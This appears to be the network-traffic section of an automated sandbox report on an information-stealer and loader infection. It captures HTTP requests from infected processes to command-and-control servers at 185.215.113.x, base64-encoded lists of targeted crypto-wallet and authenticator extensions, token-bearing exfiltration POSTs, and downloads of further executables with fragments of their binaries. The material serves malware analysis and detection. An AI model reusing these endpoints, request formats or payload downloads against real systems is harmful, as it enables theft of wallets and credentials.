kaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 16, 2024 13:16:47.926927090 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Dec 16, 2024 13:16:47.928131104 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Dec 16, 2024 13:16:47.928143024 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Dec 16, 2024 13:16:47.928152084 CET	248	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Dec 16, 2024 13:16:47.928658962 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Dec 16, 2024 13:16:47.928672075 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Dec 16, 2024 13:16:47.936502934 CET	248	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Dec 16, 2024 13:16:48.118074894 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Dec 16, 2024 13:16:48.146878958 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d 0a Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="message"fplugins------CBKJKJDBFIIDHJKEHJEH--
Dec 16, 2024 13:16:48.586812019 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 16, 2024 13:16:48.758508921 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB Host: 185.215.113.206 Content-Length: 5695 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 13:16:49.822170019 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:16:50.903579950 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 13:16:51.341360092 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49809	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:51.000339031 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016095001&unit=246122658369
Dec 16, 2024 13:16:52.335222960 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49816	185.215.113.16	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:52.474725962 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 13:16:53.800751925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:53 GMT Content-Type: application/octet-stream Content-Length: 2850304 Last-Modified: Mon, 16 Dec 2024 11:35:10 GMT Connection: keep-alive ETag: "6760106e-2b7e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 29 18 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,),`Ui` @ @.rsrc`2@.idata 8@hwkjnpms ++:@hgincagx +X+@.taggant@+"\+@
Dec 16, 2024 13:16:53.800793886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:53.800810099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:53.800945997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:53.800961971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:53.800976992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:53.800992966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:53.801148891 CET	1236	IN	Data Raw: 6d 4b d7 01 45 6e e8 54 ce 1f d6 dc de c9 34 b3 6b 22 4d a3 2c 04 3a e3 19 59 1c 5c f4 24 ac 6d 26 d7 83 3e f7 c6 6e 62 56 9e 14 45 a7 00 d8 42 f3 58 08 b3 38 55 db 86 cc 06 d5 80 fc 50 9f 68 e7 4d f8 02 45 52 e4 2a 29 a9 f7 84 da af d5 d1 0f f6 Data Ascii: mKEnT4k"M,:Y\$m&>nbVEBX8UPhMER)`C7hEoJWgJX1KS^fQhRqY>D6BP13%F4th4BWHrmMg$l_FO\SV*G(~e{J"to\|Mp
Dec 16, 2024 13:16:53.801166058 CET	1236	IN	Data Raw: 79 4a fe 24 81 4a f2 b8 6b ff 77 44 c4 b7 fc 33 03 bf f8 40 5d 04 1a bc 1c d2 13 15 e1 17 e2 01 03 bf 22 a3 6e 77 26 18 52 44 64 9c e1 4a 3e 03 03 6b fe 0c 5d 13 4e 4f 17 2e 58 01 09 b7 5a 6b 53 b6 82 e0 c4 cb ec 9a e1 d7 0b 02 43 a6 62 ec 4b 8f Data Ascii: yJ$JkwD3@]"nw&RDdJ>k]NO.XZkSCbK{xsrRkJ;3\;05`$uwBCRByKBi-b?48<a_rkJ-q^:C"U*]KEd~^US:A1AM
Dec 16, 2024 13:16:53.801182985 CET	1236	IN	Data Raw: 22 ad e7 1b 5f 0f fe 6f 3e 72 ae 02 36 f3 ee cd 30 44 f0 0c 71 5a 12 f4 c5 61 2d 7c 10 ef 44 ff 2f b2 2c 72 37 ce 11 5e 7c 60 c3 6f e3 a5 23 a4 33 57 42 13 c1 74 6f 78 f3 47 5c 78 2c 64 4e e0 4b 5a 4a 4c fd 60 32 1a 32 9d 83 01 49 3a 07 e9 8e f1 Data Ascii: "_o>r60DqZa-\|D/,r7^\|`o#3WBtoxG\x,dNKZJL`22I:"R9Y_eaAW=&CZO2`qjZzVw;i#x']MK,I]V]#u$_I{y_e}Jh-`Q?E~t,R'sv,t1'j{S7
Dec 16, 2024 13:16:53.921099901 CET	1236	IN	Data Raw: c9 12 b7 f0 eb a3 dd 60 d7 2f d3 5d a8 43 10 a2 c0 5a ec c1 c7 a3 3e 6d dc bd ca 74 c2 52 c9 b1 c0 53 34 17 0c a6 80 af 5e ee da 0b 20 94 fc 33 0a 89 47 1e 22 75 f6 5c 03 45 e0 2d 29 66 4a 17 d9 68 48 18 17 64 3f 8c 83 aa e9 91 93 70 4d d8 23 ef Data Ascii: `/]CZ>mtRS4^ 3G"u\E-)fJhHd?pM#4LaRI2@`1oNzKfugVW(M2jfwM9ivRx'1+3)J;-r}e?Hv')LUYJ-#`gk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49850	185.215.113.16	80	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:00.263770103 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 13:17:01.501610041 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:00 GMT Content-Type: application/octet-stream Content-Length: 884736 Last-Modified: Mon, 16 Dec 2024 11:35:11 GMT Connection: keep-alive ETag: "6760106f-d8000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 29 18 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,),`Ui` @ @.rsrc`2@.idata 8@hwkjnpms ++:@hgincagx +X+@.taggant@+"\+@
Dec 16, 2024 13:17:01.501663923 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:01.501676083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:01.501696110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:01.501708984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:01.501724005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:01.501738071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:01.501996040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:01.502008915 CET	1236	IN	Data Raw: ea 7b da d9 ef 05 4a 22 74 6f 7c 4d 92 c5 70 8a e2 f1 ee 43 fc 59 02 96 3f 69 87 08 11 98 c7 9e 5a 55 00 01 db 94 b0 19 11 a8 41 ea ea 5a 08 42 ee 28 19 2c 04 94 9d 8f bc 26 1d f4 af 9c 79 06 f2 43 99 d5 dc d3 d3 44 73 6b 9f ab ee ec f8 c4 1d 12 Data Ascii: {J"to\|MpCY?iZUAZB(,&yCDsk1g[-M6PKop=^<Z0Ni1-*tiRIm?bjB6v9)R6F!@hSQynU[>ej[] RcC@wzEH_8yXAP
Dec 16, 2024 13:17:01.502022982 CET	1236	IN	Data Raw: dc 3a e8 cc e4 41 d8 05 d0 a1 31 04 d6 41 4d a3 e3 65 c0 a0 ec b5 fc a7 6d ca ee c4 20 54 80 d2 d3 22 81 df 95 12 c6 3c ef ca 18 87 3c 01 d0 47 1a cb 46 f0 1d 65 c4 e6 e1 5f 6c 57 d0 dd 07 a1 de 6c 12 45 4a 6c 02 a4 fe e2 cd 93 d7 26 da 56 ef a6 Data Ascii: :A1AMem T"<<GFe_lWlEJl&VSh%n48ClSaN^R\|f>w{dLv*1x!b%cOqb`w)wAL;]W9!Gfg`#TI> 9U8yn^^eD
Dec 16, 2024 13:17:01.621670008 CET	1236	IN	Data Raw: d5 74 31 9f 91 27 b2 6a 7b 53 fd bb fa 37 b8 1a 98 59 8c 16 d2 41 6d 64 af 57 c9 1d 0e aa 22 a9 e6 5b f6 2e 5f d4 24 2c e1 15 ca 8e 24 42 e1 72 c4 cb a0 05 b5 39 3b 6c f1 82 43 0e 85 2d 27 d7 45 98 80 0c d4 d5 61 b1 cf 96 f0 ba 82 7d 6e 1d 86 c9 Data Ascii: t1'j{S7YAmdW"[._$,$Br9;lC-'Ea}n^G?DIvz M6Xss@S+&R>t6%}40k{WTn='tvlFs,c<{s"$ 1;[$,&Pk
Dec 16, 2024 13:17:16.673213959 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
